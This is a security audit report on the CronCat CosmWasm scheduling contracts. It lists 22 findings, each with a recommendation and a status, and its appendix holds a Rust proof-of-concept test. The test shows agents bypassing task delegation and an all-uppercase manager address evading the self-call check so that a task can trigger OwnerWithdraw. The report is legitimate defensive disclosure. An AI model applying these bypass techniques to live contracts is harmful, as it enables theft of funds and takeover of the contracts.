Audit Report

CronCat CosmWasm

v1.0

March 14, 2023

Table of Contents

License

Disclaimer

This audit has been performed by

Oak Security

https://oaksecurity.io/
info@oaksecurity.io

Introduction

Purpose of This Report

Oak Security has been engaged by Osmosis Grants Company to perform a security audit of the CronCat CosmWasm smart contracts.

The objectives of the audit are as follows:

1. Determine the correct functioning of the protocol, in accordance with the project specification.
2. Determine possible vulnerabilities, which could be exploited by an attacker.
3. Determine smart contract bugs, which might lead to unexpected behavior.
4. Analyze whether best practices have been applied during development.
5. Make recommendations to improve code safety and readability.

This report represents a summary of the findings.

As with any code audit, there is a limit to which vulnerabilities can be found, and unexpected execution paths may still be possible. The author of this report does not guarantee complete coverage (see disclaimer).

Codebase Submitted for the Audit

The audit has been performed on the following GitHub repository:

Repository	https://github.com/CronCats/cw-croncat
Commit	`3893ef49292c118084972cd420c256c23cccc473`
Scope	All contracts were in scope.

Methodology

The audit has been performed in the following steps:

1. Gaining an understanding of the code base's intended purpose by reading the available documentation.
2. Automated source code and dependency analysis.
3. Manual line-by-line analysis of the source code for security vulnerabilities and use of best practice guidelines, including but not limited to:
    a. Race condition analysis
    b. Under-/overflow issues
    c. Key management vulnerabilities
4. Report preparation

Functionality Overview

CronCat provides a general purpose, fully autonomous network that enables scheduled function calls for blockchain contract execution. It allows any application to schedule logic to get executed in the future, once or many times, triggered by an approved "agent," in an economically stable format.

How to Read This Report

This report classifies the issues found into the following severity categories:

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

The status of an issue can be one of the following: **Pending, Acknowledged**, or **Resolved**.

Note that audits are an important step to improving the security of smart contracts and can find many issues. However, auditing complex codebases has its limits and a remaining risk is present (see disclaimer).

Users of the system should exercise caution. In order to help with the evaluation of the remaining risk, we provide a measure of the following key indicators: **code complexity**, **code readability**, **level of documentation**, and **test coverage**. We include a table with these criteria below.

Note that high complexity or low test coverage does not necessarily equate to a higher risk, although certain bugs are more easily detected in unit testing than in a security audit and vice versa.

Code Quality Criteria

The auditor team assesses the codebase's code quality criteria as follows:

Criteria	Status	Comment
Code complexity	Medium	-
Code readability and clarity	Medium-High	The code is written in line with both Rust and CosmWasm best practices. Some functions were lacking code comments, but most of the main functionality was accompanied by detailed comments.
Level of documentation	High	The project provides extensive documentation as well as a detailed architectural diagram.
Test coverage	Medium-High	91.00% coverage, 2214/2433 lines covered.

Summary of Findings

No	Description	Severity	Status
1	Attacker can bypass self-call validation	Critical	Resolved
2	Task contract's `execute_update_config` is permissionless	Critical	Resolved
3	Agents can bypass task delegation mechanism	Major	Resolved
4	`AGENTS_PENDING` is not resistant to spam attack	Major	Resolved
5	Updating fees may cause ongoing tasks to error during execution	Major	Resolved
6	Lack of configuration parameter validation	Minor	Resolved
7	Contract can be overwritten without warning through factory	Minor	Resolved
8	Lack of dedicated pauser role and pause function	Minor	Resolved
9	User funds will be locked during a pause	Minor	Acknowledged
10	Contracts should implement a two step ownership transfer	Minor	Resolved
11	Block based tasks are always preferred over time based tasks	Minor	Resolved
12	Additional native coins incorrectly identified as IBC coins	Minor	Resolved
13	`to_address` not validated which may cause task execution errors	Minor	Resolved
14	Pagination effectively deactivated when querying DAO proposals	Minor	Resolved
15	Use of magic numbers decreases maintainability	Informational	Resolved
16	Factory address can be updated in the configuration	Informational	Resolved
17	Centralization concerns if the owner is not a DAO	Informational	Resolved
18	Users lose gas stipend upon expired tasks	Informational	Resolved
19	Misleading error messages	Informational	Resolved

20	Reduce redundant code	Informational	Resolved
21	Additional funds sent to the contract are lost	Informational	Resolved
22	Overflow checks not enabled for release profile	Informational	Resolved

Detailed Findings

1. Attacker can bypass self-call validation

Severity: Critical

The `validate_msg_calculate_usage` function in `contracts/croncat-tasks/src/helpers.rs:88` does not properly validate the value of `contract_addr` for the `WasmMsg::Execute` message type. This value is partially validated in `check_for_self_calls`, to check that the task cannot call any of the associated CronCat addresses, but it does not account for the edge case that one of these addresses can be provided as all uppercase letters. This is possible for `WasmMsg::Execute` task actions that don't include queries.

For example an attacker can specify an all uppercase version of the manager contract address, and then pass an address to update the owner and take control of the manager contract.

These messages will also not cause errors during the address validation by the underlying Cosmos SDK, which is triggered from the wasm module's `MsgExecuteContract` message validation. The `WasmMsg` will be routed by the wasm module and will undergo stateless validation in the message's `ValidateBasic` function. This function will check `msg.Contract` with the `sdk.AccAddressFromBech32`, which returns the type `AccAddress []byte`. It does not differentiate if the supplied address is in uppercase or lowercase. They will both normalize to the same byte slice, as long as the chain prefix has the same case. See Appendex A: Test 1 Case 2 for more detail.

The following shows two Bech32 addresses that both evaluate to the same account address:

```
395441E922FCBDC6BEC9B76EAC2C7D647B50D66F
cosmos1892yr6fzlj7ud0kfkah2ctrav3a4p4n060ze8f
```

```
395441E922FCBDC6BEC9B76EAC2C7D647B50D66F
COSMOS1892YR6FZLJ7UD0KFKAH2CTRAV3A4P4N060ZE8F
```

Recommendation

We recommend validating that the address is normalized by using the `addr_validate` function.

Status: Resolved

2. Task contract's `execute_update_config` is permissionless

Severity: Critical

The `execute_update_config` function in `contracts/croncat-tasks/src/contract.rs:96` allows any caller to execute a config update for the Tasks contract. This will allow an attacker to gain complete control over the Tasks contract by updating critical parameters, for example, setting themselves as the contract owner.

Recommendation

We recommend validating that the caller of the `UpdateConfig` message is `owner_addr`.

Status: Resolved

3. Agents can bypass task delegation mechanism

Severity: Major

The `execute_proxy_call` function in `contracts/croncat-manager/src/contract.rs:188-208` incorrectly assumes that when a calling agent supplies a task hash the task is event based. This will allow agents to bypass the task delegation logic and directly execute tasks on a first come first serve basis.

This is based on the assumption that agents are all behaving according to the client software. But an agent owner could modify the client software to game this system and profit from receiving a disproportionate amount of tasks.

For example, a malicious agent client could query to find out which slot tasks are executable, and then simply call `execute_proxy_call` with the `task_hash` to avoid the `agent_task` checks in line `217`.

On chains that support Skip, this could even become a MEV opportunity where agents would compete to get their bundle accepted and frontrun the normal task delegation logic. This would completely exclude other agents that are acting normally.

A proof of concept for this attack is available in Appendix A: Test 1 Case 1.

Recommendation

We recommend validating that the hashes passed with the `execute_proxy_call` are only evented tasks and returning an error otherwise.

Status: Resolved

4. AGENTS_PENDING is not resistant to spam attack

Severity: Major

The AGENTS_PENDING deque is not resistant to a spamming attack where attackers could call register_agent many times to block legitimate agents from being able to register. There is no limit to how many agents could be added to AGENTS_PENDING so this deque could grow very large through a spamming attack. This could potentially lead to an out of gas error in the accept_nomination_agent function and block agent nomination.

While unregister_agent facilitates the removal of agents, it is only callable by the agent address to be removed, so this cannot adequately restrict the size of AGENTS_PENDING.

Recommendation

We recommend adding additional controls to the register_agent function. There are multiple approaches possible. The simplest to implement is to require an agent deposit that is deposited when the agent is activated. If they are determined to be acting maliciously their deposit will not be returned.

Alternatively, it would be more spam resistant to handle the agent registration process through the DAO by permissioning the register_agent function. While this is a less decentralized approach, it will ensure that only legitimate agents are nominated and will make the protocol more resilient towards agent based attacks.

A third approach is to specify a maximum number of pending agents. This limit could also be reached through a spamming attack so we also recommend creating a timeout feature so that agents in the pending queue that have not checked in are removed. In addition, we recommend providing a function to allow the DAO to remove agents from the AGENTS_PENDING deque.

Status: Resolved

5. Updating fees may cause ongoing tasks to error during execution

Severity: Major

In the add_fee_rewards function, called by the end_task function, AGENT_REWARDS is increased by gas_fee and agent_fee while TREASURY_BALANCE is increased by treasury_fee. All three fee values are retrieved from the contract's config. During task creation, a participant would have to provide a coin amount which will be checked by the verify_enough_attached function that will reject it if the amount is not enough to cover all fee componets. However, the fee values can be updated by the admin after a task is created. This can cause already created tasks to error if the participant does not hold enough funds.

An example scenario would be if there is a non-executed task and the value of `config.gas_fee`, `config.agent_fee`, or `config.treasury_fee` was updated to a greater amount. This can result in the participant's balance being too low for task execution which would effectively block the `end_task` functionality.

Recommendation

We recommend storing the fee amounts paid during the task creation to make them immutable for `end_task` rather than reading potentially changed values from the updatable config.

Status: Resolved

6. Lack of configuration parameter validation

Severity: Minor

The contracts within the scope of this audit lacked validation on multiple configuration parameters, both upon instantiation and while updating the configuration.

The following list details the affected parameter for each contract. Unless specified otherwise, the affected parameter lacked validation in both instantiation and update:

`contracts/croncat-agents/src/contract.rs`

- `min_tasks_per_agent`: If set to zero, it will cause a division-by-zero error in line `591`.
- `agent_nomination_block_duration`: If set to zero, it will cause a division-by-zero error error in line `595`.
- `agents_eject_threshold`: If set to zero, all agents will be auto removed upon `tick`.
- `min_coins_for_agent_registration`: If set to zero, dummy accounts will be allowed for agent registration. This could lead to out-of-gas issues when iterating over pending agents.
- `min_active_agent_count`: Is set to zero, during periods of very low activity, the number of active agents could be lowered to zero.

`contracts/croncat-manager/src/contract.rs`

- `native_denom`: If an invalid denom is submitted, it will not allow the contract to operate correctly.
- `agent_fee`: The fee value is not checked to be within the 0-100 range, disrupting the operation of the contract if set to a value greater than 100. Lack of this validation is found in the update function only.
- `treasury_fee`: The fee value is not checked to be within the 0-100 range, disrupting the operation of the contract if set to a value greater than 100. Lack of this validation is found in the update function only.

`contracts/croncat-tasks/src/contract.rs`

- `slot_granularity_time`: If set to zero, it will cause a division-by-zero error in line `505`.
- `gas_limit`: The limit should be at least above `gas_base_fee` to allow for any task to be considered valid. In order to allow tasks to perform at least one action and one query, it should be greater than `gas_base_fee + gas_action_fee + gas_query_fee`.

`contracts/croncat-factory/src/contract.rs`

- `changelog_url`: The value not limited to the project's GitHub URL where the changelog will be published. Allowing any string to be supplied is error prone.

Recommendation

We recommend enforcing thorough validation of configuration parameters to avoid the issues outlined above.

Status: Resolved

7. Contract can be overwritten without warning through factory

Severity: Minor

The `croncat-factory` contract allows an existing version of a contract to be submitted to the `ExecuteMsg::Deploy` entrypoint. This causes the related metadata and lookup storage to be updated accordingly.

A typo or mistake when supplying the `ModuleInstantiateInfo` data could cause a different version of the code overwriting an existing one, potentially having devastating consequences.

Recommendation

We recommend implementing an optional boolean `safecheck` parameter on the `ExecuteMsg::Deploy` entrypoint to require further acknowledgement in case an existing version is going to be overwritten.

Status: Resolved

8. Lack of dedicated pauser role and pause function

Severity: Minor

The contracts within the scope of this audit implement emergency pausing capabilities. In order to pause the contracts, the owner has to update the configuration to set the `pause` flag.

Although functional, this can create issues when the owner of the contract is a DAO as emergency pauses may require execution of a successful proposal. In the event of an on-going security incident or other emergency, this may not happen in time.

In general, it is best practice to implement a separate pauser role and pause function.

We classify this issue as minor since setting the owner to a DAO may undermine the usefulness of the emergency pausing capabilities.

Recommendation

We recommend implementing a separate pauser role and function to pause the contracts. Access to this function could be restricted to a multi-signature wallet.

Status: Resolved

9. User funds will be locked during a pause

Severity: Minor

The contracts within the scope of this audit implement emergency pausing capabilities. However, no escape hatch feature can be found alongside. Escape hatch features allow users to withdraw their funds in a safe manner with limited functionality involved.

Some of the protocol use cases could involve a large amount of funds to be locked away from the user during the pause. For example, a user that implemented a monthly payroll flow on CronCat would have a significant amount of funds locked until the contract is unpaused.

Recommendation

We recommend implementing additional escape hatch features for users to withdraw their funds in the event of an emergency pause.

Status: Acknowledged

The client states that during a paused configuration, all funds are intended to be temporarily locked. An example of an intended use case is for contract upgrades. The client has added additional code comments in `contracts/croncat-manager/src/balances.rs:202-208` that further explain this logic.

10. Contracts should implement a two step ownership transfer

Severity: Minor

The contracts within the scope of this audit allow the current owner to execute a one-step ownership transfer. While this is common practice, it presents a risk for the ownership of the contract to become lost if the owner transfers ownership to the incorrect address. A two-step ownership transfer will allow the current owner to propose a new owner, and then the account that is proposed as the new owner may call a function that will allow them to claim ownership and actually execute the config update.

In addition, the access control logic is duplicated across the handlers of each function, which negatively impacts the code's readability and maintainability.

Recommendation

We recommend implementing a two-step ownership transfer. The flow can be as follows:

1. The current owner proposes a new owner address that is validated and normalized.
2. The new owner account claims ownership, which applies the configuration changes.

We also recommend creating modular functions to assert access controls logic to be used instead of duplicating this logic across the contracts.

Status: Resolved

11. Block based tasks are always preferred over time based tasks

Severity: Minor

In the `query_current_task` function in `contracts/croncat-tasks/src/contract.rs:567`, block slot tasks are always preferred over time slot tasks. While we believe that this functionality is intended, it can be problematic if users are unaware. For example, an attacker could ensure that a specific time slot task does not execute by providing enough block slot tasks to be executed until the time slot task is outside its boundary and will be ended.

Recommendation

We recommend considering an implementation that more evenly distributes the task assignment. This would ensure tasks are executed more fairly. If this is not possible we recommend clearly documenting this fact and encouraging users with sensitive tasks that require successful execution to use block based tasks.

Status: Resolved

The client has added additional code comments specifying the differences between time-based tasks and block-based tasks in `contracts/croncat-tasks/src/contract.rs:618-625`. Additionally, the code comments clearly specify block-based events are always prioritized over time-based ones.

12. Additional native coins incorrectly identified as IBC coins

Severity: Minor

The `croncat-manager` contract's `attached_natives` function incorrectly identifies any funds different than the expected native token to be IBC coins without further checks. This goes against the contract's specifications and can create dead code as outlined below.

The code in `contracts/croncat-manager/src/helpers.rs:116` gets executed the first time a coin included in the `funds` argument is different from `native_denom`, as the `ibc` value will be `None` before that. In addition, this causes lines `110-114` turn into dead code, as each coin will be found only once in the `funds` vector. As a consequence, the condition in line `110` will never be true.

Recommendation

We recommend validating that a coin is actually an IBC code before assigning it to the related variable and removing the logic in lines `110-113`.

Status: Resolved

13. `to_address` not validated which may cause task execution errors

Severity: Minor

The `validate_msg_calculate_usage` function in `contracts/croncat-tasks/src/helpers.rs:162` does not properly validate `to_address`. This may cause the task to error when the bank message is validated by the Cosmos SDK. It is best practice to validate task messages to ensure they will not error when executed.

Recommendation

We recommend validating the `to_address` in the `validate_msg_calculate_usage` function.

Status: Resolved

14. Pagination effectively deactivated when querying DAO proposals

Severity: Minor

The `mod-dao` contract's `QueryMsg::HasPassedProposals` and `QueryMsg::HasPassedProposalWithMigration` entry-points take the total amount of existing proposals and supply it as the `limit` parameter of the DAO's

`QueryDao::ListProposals` entrypoint in `contracts/mod-dao/src/contract.rs:105`, `144`, and `166`.

The DAO's function does not implement a maximum cap on the provided limit, but a default instead. Therefore, when a large enough number of proposals is reached, the affected `mod-dao`'s entrypoint may run out of gas as the pagination mechanism implemented by the DAO is ineffective.

Recommendation

We recommend introducing a pagination mechanism for large amounts of proposals.

Status: Resolved

15. Use of magic numbers decreases maintainability

Severity: Informational

Throughout the codebase, hard-coded number literals without context or a description are used. Using such "magic numbers" goes against best practices as they reduce code readability and maintenance as developers are unable to easily understand their use and may make inconsistent changes across the codebase.

Instances of magic numbers are listed below:

- `contracts/croncat-agents/src/contract.rs:167`, `168`, `172`, and `173`
- `contracts/croncat-factory/src/contract.rs:280`, `315`, and `331`
- `contracts/croncat-tasks/src/contract.rs:693`, `752`, and `846`

Recommendation

We recommend defining magic numbers as constants with descriptive variable names and comments, where necessary.

Status: Resolved

16. Factory address can be updated in the configuration

Severity: Informational

The contracts within the scope of this audit allow to update the `factory` contract address alongside the rest of their configuration parameters. Although not a security issue by itself, normal operation will not require this address to be updated and updating it could be error prone.

Recommendation

We recommend removing the ability to update the `factory` address.

Status: Resolved

17. Centralization concerns if the owner is not a DAO

Severity: Informational

The `croncat-manager` contract implements an `ExecuteMsg::OwnerWithdraw` entry-point that allows the owner to withdraw all the funds stored within the contract. If an individual manages the `owner` role, centralization concerns should be taken into account.

As the client stated that this role is expected to be held by a DAO, this issue has been included for informational purposes only.

Recommendation

We recommend never assigning the `owner` role to an externally ownead account, but to a DAO contract instead.

Status: Resolved

18. Users lose gas stipend upon expired tasks

Severity: Informational

The `croncat-manager` contract validates whether a task being executed through the `execute_proxy_call` has expired by checking if the boundary has passed in `contracts/croncat-manager/src/contract.rs:238`. If so, both the `native_for_gas_required` amount and the treasury and agent fees get deducted from the task's balance and arse therefore not reimbursed to the user.

This implementation implies costs for users if tasks expire, although timely task execution is not under users' control.

Recommendation

We recommend not deductiong `native_for_gas_required` from the tasks' balance if it has not been executed.

Status: Resolved

19. Improve misleading error messages

Severity: Informational

The contracts within the scope of this audit include several instances of misleading or non meaningful errors being raised. The following lines were affected:

- `contracts/croncat-agents/src/contract.rs:348`: When an agent is not found within `AGENTS_PENDING`, it is assumed that the agent is not registered, while it can be active too.
- `contracts/croncat-agents/src/contract.rs:38`: The `overflow` error is not meaningful to the users when not enough funds are sent.
- `contracts/croncat-manager/src/contract.rs:200`: The `NoTaskForAgent` error is not descriptive of the situation where the agent is not active.
- `contracts/croncat-manager/src/helpers.rs:133`: The `TooManyCoins` error is not descriptive of the situation where none of the attached coins match `native_denom`.
- `contracts/croncat-manager/src/helpers.rs:258`: The `overflow` error is not meaningful to the user when not enough funds are sent.
- `contracts/croncat-manager/src/helpers.rs:421` and `425`: The `TaskNoLongerValid` error is not descriptive of the situation where the attached message is attempting to call one of the CronCat contracts.
- `packages/croncat-sdk-manager/src/types.rs:157`: Under some circumstances, the `checked_sub` function raises an non-descriptive `Overflow` error for the user when no coin has matched the task denom.

Recommendation

We recommend modifying the errors being raised so they return information of interest to the contracts' users about the actual reason for the error.

Status: Resolved

20. Reduce redundant code

Severity: Informational

The `croncat-factory` contract implements redundant access controls in the `execute_proxy` function in `contracts/croncat-factory/src/contract.rs:132-134`, as those are already enforced for every execute message in lines `92-94`.

The `croncat-agent` contract implements two functions that are identical: `get_agents_addr` and `query_agent_addr` in `contracts/croncat-manager/src/helpers.rs:47` and `73`. In addition, the `query_agent_addr` function uses incorrect naming for the first variable assigned in line `51`, as it should be `agents_name` instead of `tasks_name`.

Recommendation

We recommend removing redundant code.

Status: Resolved

21. Additional funds sent to the contract are lost

Severity: Informational

The `croncat-manager` contact accepts an initial amount of treasury funds upon instantiation in `contracts/croncat-manager/src/contract.rs:78`. Although only a specific denom is recorded, this validation does not ensure that no other native tokens are sent. Any additional native tokens are not returned to the owner, so they will be stuck in the contract forever.

In addition, the `verify_enough_attached` and `verify_enough_cw20` functions do not raise any error when no funds are required but the user attached some in `packages/croncat-sdk-manager/src/types.rs:111,143`.

Recommendation

We recommend checking that the transaction contains only the expected `Coin` using a function similar to https://docs.rs/cw-utils/latest/cw_utils/fn.must_pay.html.

Status: Resolved

22. Overflow checks not enabled for release profile

Severity: Informational

The following packages and contracts do not enable `overflow-checks` for the release profile:

- `contracts/croncat-manager/Cargo.toml`
- `contracts/croncat-agents/Cargo.toml`
- `contracts/croncat-factory/Cargo.toml`
- `contracts/croncat-tasks/Cargo.toml`
- `contracts/mod-balances/Cargo.toml`
- `contracts/mod-dao/Cargo.toml`
- `contracts/mod-generic/Cargo.toml`
- `contracts/mod-nft/Cargo.toml`

While enabled implicitly through the workspace manifest, a future refactoring might break this assumption.

Recommendation

We recommend enabling overflow checks in all packages, including those that do not currently perform calculations, to prevent unintended consequences if changes are added in future releases or during refactoring. Note that enabling overflow checks in packages other than the workspace manifest will lead to compiler warnings.

Status: Resolved

Appendix

1. Self-call bypass and agent task bypass

The test case should fail if the vulnerability is patched. They have been combined into one test case to keep the setup functionality minimal.

Case 1 - Agents can bypass task delegation mechanism

Case 2 - Attacker can bypass self-call validation

```
#[test]
fn poc_case1_case2() {
   let mut app = default_app();
   let factory_addr = init_factory(&mut app);

   let instantiate_msg: InstantiateMsg = default_instantiate_message();
   let manager_addr = init_manager(&mut app, &instantiate_msg, &factory_addr,
&[]);
   let agents_addr = init_agents(&mut app, &factory_addr);
   let tasks_addr = init_tasks(&mut app, &factory_addr);
   let task2: Addr = tasks_addr.clone();

   activate_agent(&mut app, &agents_addr);

   //init agent 2
   app.execute_contract(
       Addr::unchecked(AGENT1),
       agents_addr.clone(),
       &croncat_agents::msg::ExecuteMsg::RegisterAgent {
           payable_account_id: None,
       },
       &[],
   )
   .unwrap();

    // Check in - will error but force for later
   app.execute_contract(
       Addr::unchecked(AGENT1),
       agents_addr.clone(),
       &croncat_agents::msg::ExecuteMsg::CheckInAgent {},
       &[],
   )
   .unwrap_err();

   // wait 100 blocks - simply added this function to /helpers.rs to add 100
blocks and 1900 seconds
   app.update_block(add_100_blocks);
```

```rust
// Add random task #1
let task = croncat_sdk_tasks::types::TaskRequest {
    interval: Interval::Once,
    boundary: None,
    stop_on_fail: false,
    actions: vec![Action {
        msg: BankMsg::Send {
            to_address: "bob".to_owned(),
            amount: coins(45, DENOM),
        }
        .into(),
        gas_limit: None,
    }],
    queries: None,
    transforms: None,
    cw20: None,
};
let _res = app
    .execute_contract(
        Addr::unchecked(PARTICIPANT0),
        tasks_addr.clone(),
        &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
            task: Box::new(task),
        },
        &coins(600_000, DENOM),
    )
    .unwrap();

// Add random task #2
let task = croncat_sdk_tasks::types::TaskRequest {
    interval: Interval::Once,
    boundary: None,
    stop_on_fail: false,
    actions: vec![Action {
        msg: BankMsg::Send {
            to_address: "bob1".to_owned(),
            amount: coins(45, DENOM),
        }
        .into(),
        gas_limit: None,
    }],
    queries: None,
    transforms: None,
    cw20: None,
};
let _res = app
    .execute_contract(
        Addr::unchecked(PARTICIPANT0),
        tasks_addr.clone(),
        &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                task: Box::new(task),
            },
            &coins(600_000, DENOM),
        )
        .unwrap();

    // Add random task #3
    let task = croncat_sdk_tasks::types::TaskRequest {
        interval: Interval::Once,
        boundary: None,
        stop_on_fail: false,
        actions: vec![Action {
            msg: BankMsg::Send {
                to_address: "bob2".to_owned(),
                amount: coins(45, DENOM),
            }
            .into(),
            gas_limit: None,
        }],
        queries: None,
        transforms: None,
        cw20: None,
    };
    let _res = app
        .execute_contract(
            Addr::unchecked(PARTICIPANT0),
            tasks_addr.clone(),
            &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                task: Box::new(task),
            },
            &coins(600_000, DENOM),
        )
        .unwrap();

    // random task 4
    let task = croncat_sdk_tasks::types::TaskRequest {
        interval: Interval::Once,
        boundary: None,
        stop_on_fail: false,
        actions: vec![Action {
            msg: BankMsg::Send {
                to_address: "bob3".to_owned(),
                amount: coins(45, DENOM),
            }
            .into(),
            gas_limit: None,
        }],
        queries: None,
        transforms: None,
        cw20: None,
    };
    let _res = app
        .execute_contract(
            Addr::unchecked(PARTICIPANT0),
            tasks_addr.clone(),
            &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                task: Box::new(task),
            },
            &coins(600_000, DENOM),
        )
        .unwrap();

    // Add TARGET BLOCK TASK 1
    let task = croncat_sdk_tasks::types::TaskRequest {
        interval: Interval::Block(3),
        // repeat it three times
        boundary: Some(Boundary::Height(BoundaryHeight {
            start: None,
            end: Some((app.block_info().height + 8).into()),
        })),
        stop_on_fail: false,
        actions: vec![
            Action {
                msg: BankMsg::Send {
                    to_address: "alice".to_owned(),
                    amount: coins(123, DENOM),
                }
                .into(),
                gas_limit: None,
            },
            Action {
                msg: BankMsg::Send {
                    to_address: "bob".to_owned(),
                    amount: coins(321, DENOM),
                }
                .into(),
                gas_limit: None,
            },
        ],
        queries: None,
        transforms: None,
        cw20: None,
    };

    let res = app
        .execute_contract(
            Addr::unchecked(PARTICIPANT0),
            tasks_addr.clone(),
            &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                task: Box::new(task),
            },
            &coins(600_000, DENOM),
        )
        .unwrap();
    let task_hash = String::from_vec(res.data.unwrap().0).unwrap();
    let t2: String = task_hash.clone();
    let task_response: TaskResponse = app
        .wrap()
        .query_wasm_smart(
            tasks_addr.clone(),
            &croncat_tasks::msg::QueryMsg::Task {
                task_hash: task_hash.clone(),
            },
        )
        .unwrap();

    let gas_needed = task_response.task.unwrap().amount_for_one_task.gas as f64 *
1.5;
    let _expected_gone_amount = {
        let gas_fees = gas_needed * (DEFAULT_FEE + DEFAULT_FEE) as f64 / 100.0;
        let amount_for_task = gas_needed * 0.04;
        let amount_for_fees = gas_fees * 0.04;
        amount_for_task + amount_for_fees + 321.0 + 123.0
    } as u128;

    // Add more time to pass agent nomination
    app.update_block(add_100_blocks);
    // Check in - this will pass
    app.execute_contract(
        Addr::unchecked(AGENT1),
        agents_addr.clone(),
        &croncat_agents::msg::ExecuteMsg::CheckInAgent {},
        &[],
    )
    .unwrap();
    // ###### END SETUP ###

    let current_task: TaskResponse = app
        .wrap()
        .query_wasm_smart(
            tasks_addr.clone(),
            &croncat_tasks::msg::QueryMsg::CurrentTask { },
        )
        .unwrap();

    // random task 4 from above - only
    let current_hash: String = current_task.task.unwrap().task_hash;

    // Agent 0 legitimately calls the tasks contract to execute a task
    let res0 = app.execute_contract(
        Addr::unchecked(AGENT0),
        manager_addr.clone(),
        &ExecuteMsg::ProxyCall { task_hash: None },
        &[],
    )
    .unwrap();


    // ### CASE 1 ###
    // Prove no evented tasks
    let tasks_for_agent: Option<Vec<croncat_sdk_tasks::types::TaskInfo>> = app
        .wrap()
        .query_wasm_smart(
            tasks_addr,
            &croncat_sdk_tasks::msg::TasksQueryMsg::EventedTasks {
                start: None,
                from_index: None,
                limit: None,
            },
        )
        .unwrap();
    assert_eq!(tasks_for_agent.unwrap().is_empty(), true );
    // Agent 1 is able to call a block task directly by its hash
    // TARGET BLOCK TASK 1 from above
    // this is not evented so it should not be able to be called directly by any
agent

    let _res1 = app.execute_contract(
        Addr::unchecked(AGENT1),
        manager_addr.clone(),
        &ExecuteMsg::ProxyCall { task_hash: Some(task_hash) },
        &[],
    )
    .unwrap();



    // ### CASE 2 ##


    // Add TARGET BLOCK TASK 1
    let task = croncat_sdk_tasks::types::TaskRequest {
        interval: Interval::Block(3),
        // repeat it three times
        boundary: Some(Boundary::Height(BoundaryHeight {
            start: None,
            end: Some((app.block_info().height + 8).into()),
        })),
        stop_on_fail: false,
        actions: vec![
        Action {
            msg: BankMsg::Send {
                to_address: "alice".to_owned(),
                amount: coins(123, DENOM),
            }
            .into(),
            gas_limit: None,
        },
        Action {
            msg: BankMsg::Send {
                to_address: "bob".to_owned(),
                amount: coins(321, DENOM),
            }
            .into(),
            gas_limit: None,
        },
    ],
    queries: None,
    transforms: None,
    cw20: None,
};

let res = app
    .execute_contract(
        Addr::unchecked(PARTICIPANT0),
        task2.clone(),
        &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
            task: Box::new(task),
        },
        &coins(600_000, DENOM),
    )
    .unwrap();
let task_hash = String::from_vec(res.data.unwrap().0).unwrap();
let t2: String = task_hash.clone();
let task_response: TaskResponse = app
    .wrap()
    .query_wasm_smart(
        task2.clone(),
        &croncat_tasks::msg::QueryMsg::Task {
            task_hash: task_hash.clone(),
        },
    )
    .unwrap();



use croncat_sdk_manager::msg::ManagerExecuteMsg::OwnerWithdraw;

    // create a task with the owner address - should error
    // Actions message unsupported or invalid message data
```

```
        let task = croncat_sdk_tasks::types::TaskRequest {
            interval: Interval::Once,
            boundary: None,
            stop_on_fail: false,
            actions: vec![
                Action {
                    msg: WasmMsg::Execute {
                        contract_addr: manager_addr.to_string(),
                        msg:
to_binary(&croncat_sdk_manager::msg::ManagerExecuteMsg::OwnerWithdraw {})
                        .unwrap(),
                        funds: Default::default(),
                    }
                    .into(),
                    gas_limit: Some(250_000),
                }
            ],
            queries: None,
            transforms: None,
            cw20: None,
        };

    // passing message with uppercase manager address
    let mod_balances = init_mod_balances(&mut app, &factory_addr);
        let res = app
            .execute_contract(
                Addr::unchecked(PARTICIPANT0),
                task2.clone(),
                &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                    task: Box::new(task),
                },
                &coins(600_000, DENOM),
            )
            .unwrap_err();

            let malicious_task = croncat_sdk_tasks::types::TaskRequest {
                interval: Interval::Once,
                boundary: None,
                stop_on_fail: false,
                actions: vec![
                    Action {
                        msg: WasmMsg::Execute {
                            contract_addr:
manager_addr.to_string().to_uppercase(),
                            msg:
to_binary(&croncat_sdk_manager::msg::ManagerExecuteMsg::OwnerWithdraw {})
                            .unwrap(),
                            funds: Default::default(),
                        }
                        .into(),
                        gas_limit: Some(250_000),
                    }
                ],
                queries: None,
                transforms: None,
                cw20: None,
            };

            let res = app
                .execute_contract(
                    Addr::unchecked(PARTICIPANT0),
                    task2.clone(),
                    &croncat_sdk_tasks::msg::TasksExecuteMsg::CreateTask {
                        task: Box::new(malicious_task),
                    },
                    &coins(600_000, DENOM),
                )
                .unwrap();


    let malicious_task_hash = String::from_vec(res.data.unwrap().0).unwrap();




    let res1 = app.execute_contract(
        Addr::unchecked(AGENT1),
        manager_addr.clone(),
        &ExecuteMsg::ProxyCall { task_hash: Some(malicious_task_hash) },
        &[],
    )
    .unwrap();

    println!("{:?}",res1);
}
```